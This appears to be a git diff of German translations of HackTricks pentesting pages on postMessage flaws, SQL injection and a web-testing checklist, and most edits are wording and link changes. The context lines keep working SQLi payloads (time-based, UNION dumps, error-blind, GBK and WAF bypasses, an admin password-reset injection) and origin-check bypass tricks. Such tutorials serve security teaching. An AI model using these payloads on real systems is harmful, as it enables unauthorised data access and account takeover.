-- Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.
+- Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen erzeugt werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.
 - Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
 
 ```javascript
 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 ```
 
-- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was nicht ein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
+- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
 
 ```javascript
 "https://www.safedomain.com".search("www.s.fedomain.com")
@@ -120,7 +120,7 @@ result = u(new Error("'\"<b>\\"))
 result.message // "'"<b>\"
 ```
 
-Im Kontext dieser Schwachstelle ist das `File` Objekt aufgrund seiner schreibgeschützten `name` Eigenschaft besonders ausnutzbar. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
+Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
 
 - Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
 
@@ -130,7 +130,7 @@ Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wich
 
 Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das **`allow-popups-to-escape-sandbox`** Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
 
-Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** wahr ist (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
+Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
 
 Für weitere Informationen **lesen** Sie:
 
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### Stehlen von Nachrichten, die an das Kind gesendet werden, indem die Hauptseite blockiert wird
 
-In der folgenden Seite sehen Sie, wie Sie **sensible postmessage-Daten** stehlen können, die an ein **Kind-iframe** gesendet werden, indem Sie die **Hauptseite** blockieren, bevor die Daten gesendet werden, und eine **XSS im Kind** ausnutzen, um die Daten zu **leaken**, bevor sie empfangen werden:
+Auf der folgenden Seite sehen Sie, wie Sie **sensible postmessage-Daten** stehlen können, die an ein **Kind-iframe** gesendet werden, indem Sie die **Hauptseite** blockieren, bevor die Daten gesendet werden, und eine **XSS im Kind** ausnutzen, um die **Daten** zu **leaken**, bevor sie empfangen werden:
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
@@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
 ```
 Für **weitere Informationen**:
 
-- Link zur Seite über [**Prototype Pollution**](../deserialization/nodejs-proto-prototype-pollution/)
-- Link zur Seite über [**XSS**](../xss-cross-site-scripting/)
+- Link zur Seite über [**Prototype Pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Link zur Seite über [**XSS**](../xss-cross-site-scripting/index.html)
 - Link zur Seite über [**Client Side Prototype Pollution zu XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Referenzen

src/pentesting-web/sql-injection/README.md

@@ -8,7 +8,7 @@ Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern erm
 
 ## Erkennung von Einstiegspunkten
 
-Wenn eine Website **anfällig für SQL-Injection (SQLi)** erscheint, aufgrund ungewöhnlicher Serverantworten auf SQLi-bezogene Eingaben, besteht der **erste Schritt** darin, zu verstehen, wie man **Daten in die Abfrage injiziert, ohne sie zu stören**. Dies erfordert die Identifizierung der Methode, um **effektiv aus dem aktuellen Kontext zu entkommen**. Dies sind einige nützliche Beispiele:
+Wenn eine Website **anfällig für SQL-Injection (SQLi)** erscheint, aufgrund ungewöhnlicher Serverantworten auf SQLi-bezogene Eingaben, ist der **erste Schritt**, zu verstehen, wie man **Daten in die Abfrage injiziert, ohne sie zu stören**. Dies erfordert die Identifizierung der Methode, um **effektiv aus dem aktuellen Kontext zu entkommen**. Dies sind einige nützliche Beispiele:
 ```
 [Nothing]
 '
@@ -64,14 +64,14 @@ page.asp?id=1' or 1=1 -- results in true
 page.asp?id=1" or 1=1 -- results in true
 page.asp?id=1 and 1=2 -- results in false
 ```
-Diese Wortliste wurde erstellt, um zu versuchen, **SQL-Injektionen** auf die vorgeschlagene Weise zu **bestätigen**:
+Diese Wortliste wurde erstellt, um **SQL-Injektionen** auf die vorgeschlagene Weise zu **bestätigen**:
 
 {% file src="../../images/sqli-logic.txt" %}
 
 ### Bestätigung mit Timing
 
-In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu entdecken, die DB dazu zu bringen, Aktionen auszuführen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
-Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird, um abgeschlossen zu werden:
+In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu entdecken, die DB Aktionen ausführen zu lassen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
+Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird:
 ```
 MySQL (string concat and logical ops)
 1' + sleep(10)
@@ -185,7 +185,7 @@ In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellen
 #Column names
 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
 ```
-_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich._
+_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber es ist immer die gleiche Methodik._
 
 ## Ausnutzen von versteckten Union-basierten Injektionen
 
@@ -213,7 +213,7 @@ In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen
 ```
 ## Ausnutzen von Error Blind SQLi
 
-Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort aus der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall einen SQL-Fehler erzwingen, jedes Mal, wenn Sie das Zeichen korrekt erraten:
+Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort von der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen korrekt erraten:
 ```sql
 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
@@ -225,9 +225,9 @@ In diesem Fall **gibt es** keine Möglichkeit, die **Antwort** der Abfrage basie
 ```
 ## Stacked Queries
 
-Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben werden**. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
+Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben** werden. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
 
-**Oracle** unterstützt **gestapelte Abfragen nicht.** **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
+**Oracle** unterstützt **gestapelte Abfragen** nicht. **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
 
 ## Out of band Exploitation
 
@@ -241,17 +241,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Automatisierte Ausnutzung
 
-Überprüfen Sie das [SQLMap Cheatsheet](sqlmap/), um eine SQLi-Schwachstelle mit [**sqlmap**](https://github.com/sqlmapproject/sqlmap) auszunutzen.
+Überprüfen Sie das [SQLMap Cheatsheet](sqlmap/index.html), um eine SQLi-Schwachstelle mit [**sqlmap**](https://github.com/sqlmapproject/sqlmap) auszunutzen.
 
-## Technische spezifische Informationen
+## Technikspezifische Informationen
 
-Wir haben bereits alle Möglichkeiten besprochen, eine SQL-Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:
+Wir haben bereits alle Möglichkeiten besprochen, eine SQL Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 Oder Sie finden **eine Menge Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -285,7 +285,7 @@ Sie sollten als Benutzernamen jede Zeile der Liste verwenden und als Passwort im
 
 ### GBK Authentifizierungsumgehung
 
-WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird erstellt: 0xA80x5c0x27 (_╘'_)
+WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird es erstellt: 0xA80x5c0x27 (_╘'_)
 ```sql
 %A8%27 OR 1=1;-- 2
 %8C%A8%27 OR 1=1-- 2
@@ -310,9 +310,9 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 
 Dazu sollten Sie versuchen, **ein neues Objekt mit dem Namen des "Master-Objekts"** (wahrscheinlich **admin** im Falle von Benutzern) zu erstellen, indem Sie etwas ändern:
 
-- Benutzer mit dem Namen: **AdMIn** (Groß- und Kleinbuchstaben)
-- Benutzer mit dem Namen: **admin=**
-- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Erstellen Sie einen Benutzer mit dem Namen: **admin \[viele Leerzeichen] a**
+- Benutzer mit dem Namen erstellen: **AdMIn** (Groß- und Kleinbuchstaben)
+- Einen Benutzer mit dem Namen erstellen: **admin=**
+- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Benutzer mit dem Namen erstellen: **admin \[viele Leerzeichen] a**
 
 #### SQL Truncation Attack
 
@@ -340,7 +340,7 @@ Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird,
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
-Hier ist, wie es funktioniert:
+So funktioniert es:
 
 - Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine andere für `admin_generic@example.com`.
 - Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst, die MySQL anweist, das Feld `password` der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
@@ -369,7 +369,7 @@ Um den Text zu erhalten, können Sie Folgendes verwenden:
 ```python
 __import__('binascii').unhexlify(hex(215573607263)[2:])
 ```
-Verwendung von **hex** und **replace** (und **substr**):
+Verwenden von **hex** und **replace** (und **substr**):
 ```sql
 '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
 
@@ -420,13 +420,13 @@ SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
 ```
 ### Generische Umgehungen
 
-Blacklist unter Verwendung von Schlüsselwörtern - Umgehung unter Verwendung von Groß-/Kleinbuchstaben
+Blacklist unter Verwendung von Schlüsselwörtern - Umgehung durch Groß-/Kleinschreibung
 ```sql
 ?id=1 AND 1=1#
 ?id=1 AnD 1=1#
 ?id=1 aNd 1=1#
 ```
-Blacklist unter Verwendung von Schlüsselwörtern, nicht fallabhängig - umgehen mit einem äquivalenten Operator
+Blacklist unter Verwendung von Schlüsselwörtern, nicht groß-/kleinschreibungsempfindlich - Umgehung mit einem äquivalenten Operator
 ```
 AND   -> && -> %26%26
 OR    -> || -> %7C%7C
@@ -434,9 +434,9 @@ OR    -> || -> %7C%7C
 > X   -> not between 0 and X
 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
 ```
-### Wissenschaftliche Notation WAF Umgehung
+### Scientific Notation WAF bypass
 
-Sie können eine ausführlichere Erklärung dieses Tricks im [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) finden.\
+Sie finden eine ausführlichere Erklärung dieses Tricks im [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 Im Grunde können Sie die wissenschaftliche Notation auf unerwartete Weise verwenden, um die WAF zu umgehen:
 ```
 -1' or 1.e(1) or '1'='1

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -7,22 +7,22 @@ In jedem Web-Pentest gibt es **mehrere versteckte und offensichtliche Stellen, d
 ## Proxies
 
 > [!NOTE]
-> Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, der vorhanden ist, aber sie benötigen normalerweise auch eine zusätzliche Schwachstelle im Backend.
+> Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, müssen jedoch normalerweise auch eine zusätzliche Schwachstelle im Backend aufweisen.
 
-- [ ] [**Missbrauch von hop-by-hop-Headern**](abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
+- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Cloudflare aufdecken**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
+- [ ] [**Uncovering Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**Umgehung von Proxy / WAF-Schutz**](proxy-waf-protections-bypass.md)
+- [ ] [**Proxy / WAF Protections Bypass**](proxy-waf-protections-bypass.md)
 
 ## **Benutzereingaben**
 
 > [!NOTE]
 > Die meisten Webanwendungen **erlauben Benutzern, einige Daten einzugeben, die später verarbeitet werden.**\
-> Abhängig von der Struktur der Daten, die der Server erwartet, können einige Schwachstellen zutreffen oder nicht.
+> Abhängig von der Struktur der Daten, die der Server erwartet, können einige Schwachstellen zutreffen oder auch nicht.
 
 ### **Reflektierte Werte**
 
@@ -31,18 +31,18 @@ Wenn die eingegebenen Daten irgendwie in der Antwort reflektiert werden, könnte
 - [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
-- [ ] [**Datei-Inclusion/Pfad Traversierung**](file-inclusion/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**Open Redirect**](open-redirect.md)
-- [ ] [**Prototype Pollution zu XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
+- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Einige der genannten Schwachstellen erfordern spezielle Bedingungen, andere erfordern nur, dass der Inhalt reflektiert wird. Sie können einige interessante Polyglots finden, um die Schwachstellen schnell zu testen in:
 
@@ -54,11 +54,11 @@ pocs-and-polygloths-cheatsheet/
 
 Wenn die Funktionalität verwendet werden kann, um eine Art von Daten im Backend zu suchen, können Sie sie möglicherweise (miss)brauchen, um beliebige Daten zu suchen.
 
-- [ ] [**Datei-Inclusion/Pfad Traversierung**](file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](nosql-injection.md)
 - [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](sql-injection/)
+- [ ] [**SQL Injection**](sql-injection/index.html)
 - [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Formulare, WebSockets und PostMsgs**
@@ -66,39 +66,39 @@ Wenn die Funktionalität verwendet werden kann, um eine Art von Daten im Backend
 Wenn ein Websocket eine Nachricht sendet oder ein Formular es Benutzern ermöglicht, Aktionen auszuführen, können Schwachstellen auftreten.
 
 - [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
-- [ ] [**Cross-site WebSocket Hijacking (CSWSH)**](websocket-attacks.md)
-- [ ] [**PostMessage-Schwachstellen**](postmessage-vulnerabilities/)
+- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **HTTP-Header**
 
 Abhängig von den HTTP-Headern, die vom Webserver bereitgestellt werden, können einige Schwachstellen vorhanden sein.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Umgehung der Content Security Policy**](content-security-policy-csp-bypass/)
-- [ ] [**Cookies-Hacking**](hacking-with-cookies/)
-- [ ] [**CORS - Fehlkonfigurationen & Umgehung**](cors-bypass.md)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
+- [ ] [**CORS - Fehlkonfigurationen & Bypass**](cors-bypass.md)
 
 ### **Umgehungen**
 
 Es gibt mehrere spezifische Funktionen, bei denen einige Workarounds nützlich sein könnten, um sie zu umgehen.
 
-- [ ] [**2FA/OTP-Umgehung**](2fa-bypass.md)
-- [ ] [**Umgehung des Zahlungsprozesses**](bypass-payment-process.md)
-- [ ] [**Captcha-Umgehung**](captcha-bypass.md)
-- [ ] [**Login-Umgehung**](login-bypass/)
+- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
+- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
+- [ ] [**Captcha Bypass**](captcha-bypass.md)
+- [ ] [**Login Bypass**](login-bypass/index.html)
 - [ ] [**Race Condition**](race-condition.md)
-- [ ] [**Rate Limit-Umgehung**](rate-limit-bypass.md)
-- [ ] [**Umgehung des Zurücksetzen des vergessenen Passworts**](reset-password.md)
-- [ ] [**Registrierungsschwachstellen**](registration-vulnerabilities.md)
+- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
+- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
+- [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md)
 
 ### **Strukturierte Objekte / Spezifische Funktionen**
 
 Einige Funktionen erfordern, dass **Daten in einem sehr spezifischen Format strukturiert sind** (wie ein sprachserialisiertes Objekt oder XML). Daher ist es einfacher zu erkennen, ob die Anwendung anfällig sein könnte, da sie diese Art von Daten verarbeiten muss.\
 Einige **spezifische Funktionen** können ebenfalls anfällig sein, wenn ein **spezifisches Format der Eingabe verwendet wird** (wie E-Mail-Header-Injektionen).
 
-- [ ] [**Deserialization**](deserialization/)
-- [ ] [**E-Mail-Header-Injektion**](email-injections.md)
-- [ ] [**JWT-Schwachstellen**](hacking-jwt-json-web-tokens.md)
+- [ ] [**Deserialization**](deserialization/index.html)
+- [ ] [**Email Header Injection**](email-injections.md)
+- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 
 ### Dateien
@@ -107,23 +107,23 @@ Funktionen, die das Hochladen von Dateien ermöglichen, könnten anfällig für
 Funktionen, die Dateien generieren, die Benutzereingaben enthalten, könnten unerwarteten Code ausführen.\
 Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit Benutzereingaben öffnen, könnten gefährdet sein.
 
-- [ ] [**Datei-Upload**](file-upload/)
-- [ ] [**Formel-Injektion**](formula-csv-doc-latex-ghostscript-injection.md)
-- [ ] [**PDF-Injektion**](xss-cross-site-scripting/pdf-injection.md)
+- [ ] [**File Upload**](file-upload/index.html)
+- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
+- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
 ### **Externe Identitätsverwaltung**
 
-- [ ] [**OAUTH zur Kontoübernahme**](oauth-to-account-takeover.md)
-- [ ] [**SAML-Angriffe**](saml-attacks/)
+- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Andere hilfreiche Schwachstellen**
 
 Diese Schwachstellen könnten helfen, andere Schwachstellen auszunutzen.
 
-- [ ] [**Domain/Subdomain-Übernahme**](domain-subdomain-takeover.md)
+- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
-- [ ] [**Parameter-Verschmutzung**](parameter-pollution.md)
-- [ ] [**Unicode-Normalisierungsanfälligkeit**](unicode-injection/)
+- [ ] [**Parameter Pollution**](parameter-pollution.md)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -7,11 +7,11 @@ In jedem Web-Pentest gibt es **mehrere versteckte und offensichtliche Stellen, d
 ## Proxies
 
 > [!NOTE]
-> Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, müssen jedoch normalerweise auch eine zusätzliche Schwachstelle im Backend aufweisen.
+> Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, der vorhanden ist, aber sie benötigen normalerweise auch eine zusätzliche Schwachstelle im Backend.
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -22,7 +22,7 @@ In jedem Web-Pentest gibt es **mehrere versteckte und offensichtliche Stellen, d
 
 > [!NOTE]
 > Die meisten Webanwendungen **erlauben Benutzern, einige Daten einzugeben, die später verarbeitet werden.**\
-> Abhängig von der Struktur der Daten, die der Server erwartet, können einige Schwachstellen zutreffen oder auch nicht.
+> Abhängig von der Struktur der Daten, die der Server erwartet, können einige Schwachstellen zutreffen oder nicht.
 
 ### **Reflektierte Werte**
 
@@ -31,20 +31,20 @@ Wenn die eingegebenen Daten irgendwie in der Antwort reflektiert werden, könnte
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
